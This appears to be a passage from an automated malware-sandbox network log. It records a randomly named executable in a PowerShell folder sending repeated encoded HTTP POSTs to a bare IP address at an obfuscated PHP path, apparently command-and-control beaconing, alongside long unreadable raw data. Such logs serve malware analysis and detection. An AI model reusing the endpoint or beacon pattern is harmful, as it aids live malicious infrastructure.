VJ}]x}xb\|hOsiYgBen`o\ialtc~TzbyJbfVH~[xUKqwrIkbqMkgWPyeoP}ccwrTZvayIh_qXjRVN}dvL{\|[qi`uxdho^s\x}QxrxKzsy_\|pw^{d\|bZ^vrlzQA[k^dAhbaNuR`Nlo\|c`qSmX~Yiofxajb]UubdtqvP~]zvbmvehhlewlR\|slxoo{^f\|mtwwl~bqP~}{{mTNiba{]FQhlh}Yd}tm]{Csyqt\|a}doh^XRzc\|B~\\|Ic`eQ{\yDuvd\|vtN~X_Btrs}raM}gXyfp@}cwbuw_yHaj\|t@~YkIuO{{bm}paKxw\|xYlLymwHz\RFxMrO\|pZ{YpK~rgua`I\|\|]YV\|OavRxzltw`vCyqSI}RfxafKvs]uOdt_~A\|NTt\[uelARaOv\|ZB\|M^DxB]{`fK\|SZtg^O~\~A~mg{S\O}b}O}pR}\|\|p\|}YfxmQIxbRK\|ak}wgA\|pi{st}LdFwMiz_yvHR~H\|M~vavrg}r}}gfNyvp~]wbaLwaiGqbIlVgsJvqsGxrSG~`u{IxC{gpymYFyrl{cfA{]NZogxjb^]a_x~lgHIVkOXQwlk^{lcXvp}SyqSJjo~_z\y\}b`g{ZL~Jx^[]wv_b\hkouMv\|pk]cY{Rcocy^\|CQ`\|Oi\\BzSYQVq[QqBPs]MV`Q~Rsik}Vz{@\VIhXgJ\|gs\|`\RzcQX}bd`MbRzruJwfxE\|u`@}XnRp\B{[TYPqJRe]HQ[Ibn~cmvx_\X{~ZKu_Exb_z]OZloBUtAl^Do{AQ\_}]s\|lkVTdaNYL\|CzUR^PsKVbPIZTOooUA[P{\~i`PQbbHYN@qXQZ[uJUcWG[ZLbf]HSq[kYx]VZbT][ywy]hnN[{oXQa^PT`VTn
Jan 4, 2025 13:37:09.569107056 CET	357	IN	Data Raw: 43 64 5b 76 43 68 67 78 0e 7b 53 0c 55 54 4d 73 62 51 00 7d 46 7c 50 45 5a 6c 04 67 47 52 72 4a 02 69 01 5a 4d 69 06 7e 4e 50 60 0c 05 53 58 59 75 5b 05 62 54 7d 5f 5f 5a 6e 64 7c 5b 7f 71 7b 59 6a 65 01 4f 5b 7e 64 5d 53 61 05 53 6b 01 0a 08 54 Data Ascii: Cd[vChgx{SUTMsbQ}F\|PEZlgGRrJiZMi~NP`SXYu[bT}__Znd\|[q{YjeO[~d]SaSkT\kAVbXZam_v\rfSX_jod^e`[\rdJ\|_OYinEUtAlU@n\|GUXgAWZaCVqwElt`Z\|_\|xif\|CzUR^PsKVbPIZT\WXcUV[fjoZ\|_\XlZJ\rRQhbURY_]`eqFq\]TSrF]o]ES[@o`dBQ\|eXhjppY
Jan 4, 2025 13:37:09.611646891 CET	292	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 384 Expect: 100-continue
Jan 4, 2025 13:37:09.829396009 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:09.831041098 CET	384	OUT	Data Raw: 50 55 5f 5a 5e 58 57 5f 5d 59 52 51 5a 5f 55 51 5f 5b 5c 49 50 51 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_Z^XW_]YRQZ_UQ_[\IPQV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C<<Y42V!\=!6$1'%V')))8^ #X1.\/'^.)
Jan 4, 2025 13:37:10.058007002 CET	324	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 11 34 07 22 03 23 2d 0d 0c 30 07 0d 51 21 38 39 18 39 0f 34 5f 26 27 3d 5c 28 1c 34 0e 21 17 26 04 29 3f 0a 0c 26 09 3e 0f 25 10 2c 5b 04 1f 23 1a 36 3f 26 04 3a 12 06 00 2c 0c 25 5b 24 13 23 06 3d 02 28 0e 22 20 20 12 3c 2a 35 50 27 29 06 0a 3e 03 23 18 24 33 30 5d 32 3b 2b 5e 02 15 24 5c 3e 3e 39 0b 20 2e 0b 5b 31 0f 3a 57 24 1b 3c 50 21 38 01 57 2a 17 3e 10 30 3c 38 56 20 34 26 04 35 01 2a 58 23 01 2c 0b 26 13 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %4"#-0Q!8994_&'=\(4!&)?&>%,[#6?&:,%[$#=(" <5P')>#$30]2;+^$\>>9 .[1:W$<P!8W>0<8V 4&5*X#,&%R-/T6VW
Jan 4, 2025 13:37:10.162173986 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1900 Expect: 100-continue
Jan 4, 2025 13:37:10.379873037 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:10.380028009 CET	1900	OUT	Data Raw: 50 57 5f 5d 5b 58 52 5c 5d 59 52 51 5a 54 55 51 5f 5e 5c 44 50 5d 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PW_][XR\]YRQZTUQ_^\DP]VS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z->$4_"_$0>"B5$ _'4)Q3;*9?70%<.\/'^.
Jan 4, 2025 13:37:10.770854950 CET	324	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 11 23 00 2d 58 37 13 0a 54 26 39 27 1d 22 2b 26 41 2d 57 30 13 27 27 35 14 3f 32 2b 56 22 17 2d 58 29 3f 20 0d 25 0e 21 1e 31 00 2c 5b 04 1f 23 18 35 2c 3e 04 2e 05 27 5f 2c 31 36 02 30 2e 3f 01 3d 05 34 0c 35 33 34 5b 2b 2a 2a 09 33 39 23 56 29 04 20 43 27 0e 2c 59 31 01 2b 5e 02 15 24 5c 3e 03 00 57 21 00 36 01 32 1f 26 52 24 1b 0d 0b 37 3b 2c 0c 29 00 2e 1e 25 2f 28 1e 20 34 22 06 36 01 22 11 37 16 2c 0b 32 13 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %#-X7T&9'"+&A-W0''5?2+V"-X)? %!1,[#5,>.'_,160.?=4534[+**39#V) C',Y1+^$\>W!62&R$7;,).%/( 4"6"7,2%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:09.726388931 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:10.077857971 CET	2584	OUT	Data Raw: 50 57 5f 51 5e 5a 57 5b 5d 59 52 51 5a 5a 55 57 5f 59 5c 45 50 57 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PW_Q^ZW[]YRQZZUW_Y\EPWVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.@)//#:&#(:=!$:%;0&$09S)9+ V+X1.\/'^.
Jan 4, 2025 13:37:10.418581963 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:10.562309027 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:10.872652054 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:11.218504906 CET	2584	OUT	Data Raw: 50 51 5a 5d 5b 59 57 59 5d 59 52 51 5a 5b 55 51 5f 55 5c 40 50 52 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PQZ][YWY]YRQZ[UQ_U\@PRV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)/$[41=_()!X"'9$<^&7%$9)98^43;2,.\/'^.9
Jan 4, 2025 13:37:11.563447952 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:11.692519903 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:11.929635048 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:12.281002998 CET	2580	OUT	Data Raw: 50 56 5f 5c 5b 5e 52 5a 5d 59 52 51 5a 5d 55 55 5f 5f 5c 43 50 50 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PV_\[^RZ]YRQZ]UU__\CPPVX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.? Z#9%V%)9Z5$_0+0X&B.' =);#3$1.\/'^.%
Jan 4, 2025 13:37:12.638113976 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:12.775599957 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:14.713063002 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:15.062258959 CET	2584	OUT	Data Raw: 50 56 5f 51 5b 5e 57 5c 5d 59 52 51 5a 5b 55 51 5f 59 5c 46 50 56 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PV_Q[^W\]YRQZ[UQ_Y\FPVV][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.>< X *=& )X>:"4=^'(Y249')$U(:,X48&.\/'^.9
Jan 4, 2025 13:37:15.293997049 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:15.492026091 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:15.787401915 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1900 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:16.140374899 CET	1900	OUT	Data Raw: 50 53 5a 5c 5e 5a 52 5c 5d 59 52 51 5a 5a 55 55 5f 5e 5c 43 50 51 56 5b 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PSZ\^ZR\]YRQZZUU_^\CPQV[[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.< [ =13!^)=Y 7!%8_2:08:;73<2.\/'^.
Jan 4, 2025 13:37:16.525959015 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:16.656295061 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 59 20 2e 3e 01 20 03 34 19 24 5f 3f 56 35 16 22 44 2c 31 3c 11 32 24 36 00 2b 22 30 0f 20 2a 31 5d 3f 11 05 57 25 30 0c 0c 27 3a 2c 5b 04 1f 20 45 36 11 21 58 2e 12 33 58 2f 21 22 07 33 03 3b 02 3e 3c 34 09 21 55 34 12 3c 29 3a 0e 26 3a 20 0f 28 29 37 1b 26 33 30 58 32 2b 2b 5e 02 15 24 12 2a 5b 25 0c 35 3d 26 05 31 32 3a 56 24 1b 23 08 21 38 0e 0e 29 07 2a 58 27 3f 02 11 20 0e 39 5c 22 59 25 04 37 01 38 08 26 29 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %Y .> 4$_?V5"D,1<2$6+"0 1]?W%0':,[ E6!X.3X/!"3;><4!U4<):&: ()7&30X2++^$[%5=&12:V$#!8)*X'? 9\"Y%78&)%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49739	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:15.880155087 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:16.234127045 CET	2584	OUT	Data Raw: 55 52 5a 5d 5b 5f 57 5f 5d 59 52 51 5a 5e 55 55 5f 5b 5c 42 50 55 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: URZ][_W_]YRQZ^UU_[\BPUV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.;#_520>:":$X24%T':,R>_,43;',.\/'^.-
Jan 4, 2025 13:37:16.611654997 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:16.740442991 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:20.102099895 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:37:20.452994108 CET	2584	OUT	Data Raw: 50 51 5a 5f 5e 5d 52 5d 5d 59 52 51 5a 54 55 53 5f 5c 5c 46 50 53 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PQZ_^]R]]YRQZTUS_\\FPSV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-Z##:$ )&!)]0+'41$9S###%.\/'^.
Jan 4, 2025 13:37:20.816529036 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:20.946683884 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:21.086519957 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:21.438184977 CET	2584	OUT	Data Raw: 50 53 5a 5b 5e 58 57 5b 5d 59 52 51 5a 5a 55 5d 5f 54 5c 46 50 55 56 52 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PSZ[^XW[]YRQZZU]_T\FPUVR[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.,/":!%0)\1X!'>'<2'-$98W*_;73'2.\/'^.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:21.677297115 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:37:22.031219959 CET	1904	OUT	Data Raw: 55 55 5a 5d 5e 53 57 5a 5d 59 52 51 5a 55 55 52 5f 55 5c 40 50 52 56 52 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UUZ]^SWZ]YRQZUUR_U\@PRVR[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.E=/079&[2=]=:&!40<['$-U$$(*?40_1<.\/'^.
Jan 4, 2025 13:37:22.377760887 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:37:22.511010885 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 11 37 3e 35 58 37 13 34 52 27 00 3c 0d 22 5e 39 1d 2e 32 37 01 31 42 29 58 2b 0b 33 11 22 39 2d 58 3c 2c 2b 57 24 23 31 1d 25 3a 2c 5b 04 1f 23 1d 36 3f 03 5c 3a 3c 3b 5c 2d 22 26 06 30 3e 28 13 29 12 05 55 36 1d 28 5b 28 5c 2a 08 24 29 2b 1c 3e 3a 0e 41 26 30 02 5a 32 2b 2b 5e 02 15 24 5a 29 5b 2e 56 21 58 35 1f 25 21 0c 1f 27 25 30 1a 23 06 34 0e 2a 2a 3a 5d 27 2f 0e 55 34 0e 35 5d 23 3f 0c 5c 23 16 3b 18 24 39 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %7>5X74R'<"^9.271B)X+3"9-X<,+W$#1%:,[#6?\:<;\-"&0>()U6([(\$)+>:A&0Z2++^$Z)[.V!X5%!'%0#4*:]'/U45]#?\#;$9%R-/T6VW
Jan 4, 2025 13:37:22.727852106 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:37:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 11 37 3e 35 58 37 13 34 52 27 00 3c 0d 22 5e 39 1d 2e 32 37 01 31 42 29 58 2b 0b 33 11 22 39 2d 58 3c 2c 2b 57 24 23 31 1d 25 3a 2c 5b 04 1f 23 1d 36 3f 03 5c 3a 3c 3b 5c 2d 22 26 06 30 3e 28 13 29 12 05 55 36 1d 28 5b 28 5c 2a 08 24 29 2b 1c 3e 3a 0e 41 26 30 02 5a 32 2b 2b 5e 02 15 24 5a 29 5b 2e 56 21 58 35 1f 25 21 0c 1f 27 25 30 1a 23 06 34 0e 2a 2a 3a 5d 27 2f 0e 55 34 0e 35 5d 23 3f 0c 5c 23 16 3b 18 24 39 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %7>5X74R'<"^9.271B)X+3"9-X<,+W$#1%:,[#6?\:<;\-"&0>()U6([(\$)+>:A&0Z2++^$Z)[.V!X5%!'%0#4*:]'/U45]#?\#;$9%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:37:21.838202953 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
